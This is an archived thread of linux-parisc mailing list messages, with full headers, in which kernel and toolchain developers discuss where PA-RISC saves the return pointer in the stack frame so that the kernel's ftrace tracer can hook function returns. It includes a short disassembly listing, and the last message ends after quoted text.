	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 16:11:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754337AbcKNPLJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 10:11:09 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:36010 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1754313AbcKNPLI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 10:11:08 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161114151106.XCLT17129.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 14 Nov 2016 10:11:06 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm02.bell.net
          with ESMTP
          id <20161114151106.XWUZ9577.mtlspm02.bell.net@[192.168.0.125]>;
          Mon, 14 Nov 2016 10:11:06 -0500
In-Reply-To: <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5829D40A.00F0,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27050>

On 2016-11-14 3:21 AM, Jeff Law wrote:
> On 11/13/2016 12:48 PM, Helge Deller wrote:
>> On 13.11.2016 19:56, Jeff Law wrote:
>>> On 11/13/2016 11:37 AM, Helge Deller wrote:
>>>> If you are going to change the ABI, maybe we can add more things as 
>>>> well?
>>>> Which comes to my mind here is for example an optimized mcount() 
>>>> function
>>>> which allows changing the return pointer (see -mmcount-ra-address 
>>>> on MIPS) ?
>>
>>> As in twiddling RP to return to a different point?
>>
>> No, that's not the use case for me.
>>
>> I was working on the ftrace functionality in the Linux kernel.
>> I'd need to look up the full details again, but as far as I remember 
>> one of
>> the tracers wants to know the function to which the caller of 
>> mcount() would return,
>> so some kind of simple __builtin_return_address(2).
> Ah.  Isn't that going to be sitting at sp-20 or something like that.  
> My PA is rusty, but my recollection is that's supposed to be at a 
> fixed location in the frame.
The return address of the the function to which the caller of mcount() 
would return
is passed to mcount() in %r26.  The saved value in the frame is not 
directly useful as one lacks
the frame offset of the routine calling mcount.

In linux, we have a single space runtime and thus the import stubs don't 
modify the return
address when shared library routines are called.  So, the value passed 
in %r26 can be used
directly to lookup the calling function.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 17:24:52 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
 <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479140725 21275 195.159.176.226 (14 Nov 2016 16:25:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 16:25:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>, Jeff Law <law@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 17:25:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6K46-0002W6-Qa
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 17:25:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933047AbcKNQZF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 11:25:05 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:52440 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932583AbcKNQZE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 11:25:04 -0500
Original-Received: from [192.168.20.58] ([92.203.19.172]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lbujs-1cXe4Y13Aq-00jL6W; Mon, 14
 Nov 2016 17:24:54 +0100
In-Reply-To: <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
X-Provags-ID: V03:K0:0KEwseJQIfp5SUHB1sCZI0R7B4nKppCVey+Xb/icD6Soltf0AWK
 OuFWLFATctMpp8CLn1xkgJETjCFhHH8wTKobrAu07hAuUr9MA1lM3fEKP6l07cVE/e7Xbse
 0dIrCHWUtkmOzl/WrYQhilt1p/oka/VfkSEQlDTJvfsodZAG744D0rGHHkkrgtctGgazJqY
 1vVpma/oa4O8+X9B4n+Jg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6JkLaCgqHXg=:UGhGDZj6y40321khIzkm4h
 atfHAN5MAluziykJonpkQ1fiO2rmaWHd1qQFI1KbNoSujOnN3mXnqgWhCHUnF8hFnMcSs1Bk7
 iiux3rJR3pwhxkQmkFynqL5hd3XPB1yGMi9zdsNKinFswKXcfPrkW7HFxS3Y/GccZlAQ67GCZ
 XjqMROXF9UsbVMZuwHMC8wcJapgJck0XHi5OJ+nc+hRU09ZbuEo9eWOCUj2jPKdg1+hLXtJbY
 dQj8OoKlWFDpUKwvnpOCi0ncuBjpl3cleYCsDaw/2kcde1/4BovasHwtVTuCjOZhejaDdQ5Iq
 IBCtt0QNsJ+TDxJzBgXPtdvMAv9cfkkDtb79PqV/X7x8UkwNNzvKcDCq0bo/zqp0a/ceVE+zg
 DDL8KmgbI+8sb0dTn6XQ90W/DPNGSf/wQlBXwyETECauKR3V9K+UCEe+jAZ8yBol3eA4zRiXj
 NGqFs24S0gmKqNCsE15pHbwtMOdwbWhDAWeBSA/ZhG4YBTejhJFbfvBYXgyHSE/0t4p+Bl9DN
 aVnvTLAKTwNqu7bdi3aqbFkXkbDT7b23sH4f72n9D/nVUCycvQ4fhwsywmO0D4eHOHtL5Mz5Z
 vU+0PCOwjVB6TtEGFJSoVN6YkKjFoPaFml+r4Xz5av/2OCbxjQLhMTr7AIO+D1CKmynH+8JmK
 xy6rNtLWC5dBXW+E/Wrb2yPz6yx2e9yIKpRWRcB++VzJRG6ISODYGX6YLjpVRASt8GMzLCAQ1
 ClEnEjO+JHB840QWSPYQgU7FHOsWbqSo7ZVtd5d6+WLBZS2y5Fng4XqPCMQ4vXLjk69VZbAS 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27051>

On 14.11.2016 16:11, John David Anglin wrote:
> On 2016-11-14 3:21 AM, Jeff Law wrote:
>> On 11/13/2016 12:48 PM, Helge Deller wrote:
>>> On 13.11.2016 19:56, Jeff Law wrote:
>>>> On 11/13/2016 11:37 AM, Helge Deller wrote:
>>>>> If you are going to change the ABI, maybe we can add more
>>>>> things as well? Which comes to my mind here is for example an
>>>>> optimized mcount() function which allows changing the return
>>>>> pointer (see -mmcount-ra-address on MIPS) ?
>>> 
>>>> As in twiddling RP to return to a different point?
>>> 
>>> No, that's not the use case for me.

I was wrong.
It's actually the use case to modify the RP...

>>> I was working on the ftrace functionality in the Linux kernel. 
>>> I'd need to look up the full details again, but as far as I
>>> remember one of the tracers wants to know the function to which
>>> the caller of mcount() would return, so some kind of simple
>>> __builtin_return_address(2).

>> Ah.  Isn't that going to be sitting at sp-20 or something like
>> that.  My PA is rusty, but my recollection is that's supposed to be
>> at a fixed location in the frame.

Yes, sp-10.

0000000000000000 <irq_to_desc>:
   0:   08 03 02 41     copy r3,r1
   4:   0f c2 12 c1     std rp,-10(sp)
   8:   08 1e 02 43     copy sp,r3
   c:   73 c1 00 a8     std,ma r1,50(sp)
  10:   37 dd 00 20     ldo 10(sp),ret1
  14:   0c 65 12 d0     std r5,8(r3)
  18:   00 00 14 b9     mfia r25
  1c:   db 45 0b e0     extrd,u,* r26,63,32,r5
  20:   70 64 00 20     std r4,10(r3)
  24:   08 02 02 5a     copy rp,r26
  28:   37 39 3f d1     ldo -18(r25),r25
  2c:   08 1b 02 44     copy dp,r4
  30:   2b 60 00 00     addil L%0,dp,r1
  34:   50 21 00 00     ldd 0(r1),r1
  38:   0c 20 10 c1     ldd 0(r1),r1
  3c:   50 22 00 20     ldd 10(r1),rp
  40:   e8 40 f0 00     bve,l (rp),rp
  44:   50 3b 00 30     ldd 18(r1),dp


> The return address of the the function to which the caller of
> mcount() would return is passed to mcount() in %r26.  The saved value
> in the frame is not directly useful as one lacks the frame offset of
> the routine calling mcount.

What I want to archieve is to modify the return pointer, in order
to be able to track when the function returns to his caller.
The kernel ftracer uses this then to generate call stacks and to
time the function.
Looking at the above code, it should then be possible for me
to modify -10(r3), but is there a guarantee that it's always at
-10(r3) and that r3 is used?
That's the reason I asked if we could modify mcount to
give the address (in the stack) of the return pointer, but maybe
it's just overkill for this use case ?

Helge 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 12:02:12 -0500
Lines: 89
Approved: news@gmane.org
Message-ID: <471a4789-12bf-2bec-83e8-895fb7f15e59@bell.net>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
 <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
 <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479142964 14529 195.159.176.226 (14 Nov 2016 17:02:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 17:02:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>, Jeff Law <law@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 18:02:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6Ke4-0008Tl-8Y
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 18:02:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753374AbcKNRCP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 12:02:15 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:51953 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751836AbcKNRCO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 12:02:14 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161114170213.EJRD1475.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 14 Nov 2016 12:02:13 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by torspm01.bell.net
          with ESMTP
          id <20161114170213.DBXX4339.torspm01.bell.net@[192.168.0.125]>;
          Mon, 14 Nov 2016 12:02:13 -0500
In-Reply-To: <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5829EE15.017D,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27052>

On 2016-11-14 11:24 AM, Helge Deller wrote:
> On 14.11.2016 16:11, John David Anglin wrote:
>> On 2016-11-14 3:21 AM, Jeff Law wrote:
>>> On 11/13/2016 12:48 PM, Helge Deller wrote:
>>>> On 13.11.2016 19:56, Jeff Law wrote:
>>>>> On 11/13/2016 11:37 AM, Helge Deller wrote:
>>>>>> If you are going to change the ABI, maybe we can add more
>>>>>> things as well? Which comes to my mind here is for example an
>>>>>> optimized mcount() function which allows changing the return
>>>>>> pointer (see -mmcount-ra-address on MIPS) ?
>>>>> As in twiddling RP to return to a different point?
>>>> No, that's not the use case for me.
> I was wrong.
> It's actually the use case to modify the RP...
>
>>>> I was working on the ftrace functionality in the Linux kernel.
>>>> I'd need to look up the full details again, but as far as I
>>>> remember one of the tracers wants to know the function to which
>>>> the caller of mcount() would return, so some kind of simple
>>>> __builtin_return_address(2).
>>> Ah.  Isn't that going to be sitting at sp-20 or something like
>>> that.  My PA is rusty, but my recollection is that's supposed to be
>>> at a fixed location in the frame.
> Yes, sp-10.
It's sp-0x10 on 64-bit and sp-0x14 on 32-bit.
>
> 0000000000000000 <irq_to_desc>:
>     0:   08 03 02 41     copy r3,r1
>     4:   0f c2 12 c1     std rp,-10(sp)
>     8:   08 1e 02 43     copy sp,r3
>     c:   73 c1 00 a8     std,ma r1,50(sp)
>    10:   37 dd 00 20     ldo 10(sp),ret1
>    14:   0c 65 12 d0     std r5,8(r3)
>    18:   00 00 14 b9     mfia r25
>    1c:   db 45 0b e0     extrd,u,* r26,63,32,r5
>    20:   70 64 00 20     std r4,10(r3)
>    24:   08 02 02 5a     copy rp,r26
>    28:   37 39 3f d1     ldo -18(r25),r25
>    2c:   08 1b 02 44     copy dp,r4
>    30:   2b 60 00 00     addil L%0,dp,r1
>    34:   50 21 00 00     ldd 0(r1),r1
>    38:   0c 20 10 c1     ldd 0(r1),r1
>    3c:   50 22 00 20     ldd 10(r1),rp
>    40:   e8 40 f0 00     bve,l (rp),rp
>    44:   50 3b 00 30     ldd 18(r1),dp
>
>
>> The return address of the the function to which the caller of
>> mcount() would return is passed to mcount() in %r26.  The saved value
>> in the frame is not directly useful as one lacks the frame offset of
>> the routine calling mcount.
> What I want to archieve is to modify the return pointer, in order
> to be able to track when the function returns to his caller.
> The kernel ftracer uses this then to generate call stacks and to
> time the function.
> Looking at the above code, it should then be possible for me
> to modify -10(r3), but is there a guarantee that it's always at
> -10(r3) and that r3 is used?
The location for the for saving the return pointer is defined and always 
the same.

If routine is compiled with "-fno-omit-frame-pointer", there will always 
be a
frame pointer and it should be %r3.  Otherwise, there's no guarantee 
that the
frame pointer won't be eliminated.

Since the routine calls mcount, I believe the return pointer will be 
always be saved
and restored from the frame marker.  So, it should be possible the 
return address
on the stack to detect when the routine completes..

> That's the reason I asked if we could modify mcount to
> give the address (in the stack) of the return pointer, but maybe
> it's just overkill for this use case ?

If "-fno-omit-frame-pointer" works, then you have what you need.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeff Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 10:02:59 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <972c16d9-802a-7150-0d58-95e71573c22b@redhat.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
 <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
 <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479143003 529 195.159.176.226 (14 Nov 2016 17:03:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 17:03:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 18:03:17 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6Ken-0008Tl-UM
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 18:02:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752814AbcKNRDB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 12:03:01 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52552 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751836AbcKNRDA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 12:03:00 -0500
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 02977C001BF9;
        Mon, 14 Nov 2016 17:03:00 +0000 (UTC)
Original-Received: from localhost.localdomain (ovpn-116-64.phx2.redhat.com [10.3.116.64])
        by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id uAEH2xxD021197;
        Mon, 14 Nov 2016 12:02:59 -0500
In-Reply-To: <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.31]); Mon, 14 Nov 2016 17:03:00 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27053>

On 11/14/2016 09:24 AM, Helge Deller wrote:
> On 14.11.2016 16:11, John David Anglin wrote:
>> On 2016-11-14 3:21 AM, Jeff Law wrote:
>>> On 11/13/2016 12:48 PM, Helge Deller wrote:
>>>> On 13.11.2016 19:56, Jeff Law wrote:
>>>>> On 11/13/2016 11:37 AM, Helge Deller wrote:
>>>>>> If you are going to change the ABI, maybe we can add more
>>>>>> things as well? Which comes to my mind here is for example an
>>>>>> optimized mcount() function which allows changing the return
>>>>>> pointer (see -mmcount-ra-address on MIPS) ?
>>>>
>>>>> As in twiddling RP to return to a different point?
>>>>
>>>> No, that's not the use case for me.
>
> I was wrong.
> It's actually the use case to modify the RP...
>
>>>> I was working on the ftrace functionality in the Linux kernel.
>>>> I'd need to look up the full details again, but as far as I
>>>> remember one of the tracers wants to know the function to which
>>>> the caller of mcount() would return, so some kind of simple
>>>> __builtin_return_address(2).
>
>>> Ah.  Isn't that going to be sitting at sp-20 or something like
>>> that.  My PA is rusty, but my recollection is that's supposed to be
>>> at a fixed location in the frame.
>
> Yes, sp-10.
>
> 0000000000000000 <irq_to_desc>:
>    0:   08 03 02 41     copy r3,r1
>    4:   0f c2 12 c1     std rp,-10(sp)
>    8:   08 1e 02 43     copy sp,r3
>    c:   73 c1 00 a8     std,ma r1,50(sp)
>   10:   37 dd 00 20     ldo 10(sp),ret1
>   14:   0c 65 12 d0     std r5,8(r3)
>   18:   00 00 14 b9     mfia r25
>   1c:   db 45 0b e0     extrd,u,* r26,63,32,r5
>   20:   70 64 00 20     std r4,10(r3)
>   24:   08 02 02 5a     copy rp,r26
>   28:   37 39 3f d1     ldo -18(r25),r25
>   2c:   08 1b 02 44     copy dp,r4
>   30:   2b 60 00 00     addil L%0,dp,r1
>   34:   50 21 00 00     ldd 0(r1),r1
>   38:   0c 20 10 c1     ldd 0(r1),r1
>   3c:   50 22 00 20     ldd 10(r1),rp
>   40:   e8 40 f0 00     bve,l (rp),rp
>   44:   50 3b 00 30     ldd 18(r1),dp
>
>
>> The return address of the the function to which the caller of
>> mcount() would return is passed to mcount() in %r26.  The saved value
>> in the frame is not directly useful as one lacks the frame offset of
>> the routine calling mcount.
>
> What I want to archieve is to modify the return pointer, in order
> to be able to track when the function returns to his caller.
> The kernel ftracer uses this then to generate call stacks and to
> time the function.
> Looking at the above code, it should then be possible for me
> to modify -10(r3), but is there a guarantee that it's always at
> -10(r3) and that r3 is used?
I don't think you can depend on r3 (frame pointer).  But IIRC the save 
slot for the return address is fixed.  I think the problem you're going 
to run into is that the RP is saved into the frame allocated by the 
caller, then we adjust the SP for the current function.  So without 
knowing the size of the current function's frame, you're hosed.

Jeff

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 12:23:19 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <CAE2sS1g2AX328mz+vi0sfGEuS=YX0=aoOCFg+evfB9-5TJ-Cjg@mail.gmail.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de> <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de> <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net> <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1479144233 23947 195.159.176.226 (14 Nov 2016 17:23:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 17:23:53 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        Jeff Law <law@redhat.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 18:23:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6Kye-0002o9-3D
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 18:23:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933675AbcKNRXW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 12:23:22 -0500
Original-Received: from mail-qk0-f170.google.com ([209.85.220.170]:35788 "EHLO
        mail-qk0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934596AbcKNRXV (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 12:23:21 -0500
Original-Received: by mail-qk0-f170.google.com with SMTP id n204so103892427qke.2
        for <linux-parisc@vger.kernel.org>; Mon, 14 Nov 2016 09:23:21 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=qTTt69laoOarXktTcYQnM0pwVY/Spmohuukcil7FWic=;
        b=Y+q6T1CslpvgRMkR3Qx/hYlD4T+t81LQaR8wjh9Ci8VXXjblnUzygUW9DiD9rbIUoa
         OMxdEPIRWOCy5IPLgU/xBYvqthCofnULFo18s1h5F8ZPPkGHtC79rN2ovtwVqChy2f9h
         z1QBonottvDOwmi05sn1gcKUsPFQ12MpA1BFw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=qTTt69laoOarXktTcYQnM0pwVY/Spmohuukcil7FWic=;
        b=f9wIvKe0limPukadUFJSZ+BDR46kcNEjlAEw8j6oERhbv8r4UvZ2z3sY4bdFlVtGxF
         vG8me6L3syvlsjXH+wcBI1HWNW/VC91gfwzB0qkE6NKFUAdGp8XwWCOwhxau06AYFNUE
         Nyye+/mvxjQ7GBXT1MRKBo6jZSXrSX/VQmtkzHp64h6KorjfziMNLXAme9T38wkdcjA+
         JzRfMea8OwrclpvsJ1l8bRbHaltueDgPX2CzAEj60k3h1ZKT+qs0PeZ+JpRzRasZIPR/
         AvuggqXexFoKG3pHcxUlpeWmvP5+0SzlVmAkxlo2ozEpmmiyT/4wLB/wR43z0Nbm7uIR
         ukkQ==
X-Gm-Message-State: ABUngve+aHBGVe+5BIPvKZYNhTCb+HDkPc/xMEHeo43+uMg+Z2qG97vG4iXfVNDtcK2x297Yj1mN848DiRTGwg==
X-Received: by 10.55.203.19 with SMTP id d19mr19837891qkj.215.1479144200508;
 Mon, 14 Nov 2016 09:23:20 -0800 (PST)
Original-Received: by 10.237.45.70 with HTTP; Mon, 14 Nov 2016 09:23:19 -0800 (PST)
X-Originating-IP: [67.70.96.49]
In-Reply-To: <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27054>

On Mon, Nov 14, 2016 at 11:24 AM, Helge Deller <deller@gmx.de> wrote:
> What I want to archieve is to modify the return pointer, in order
> to be able to track when the function returns to his caller.
> The kernel ftracer uses this then to generate call stacks and to
> time the function.
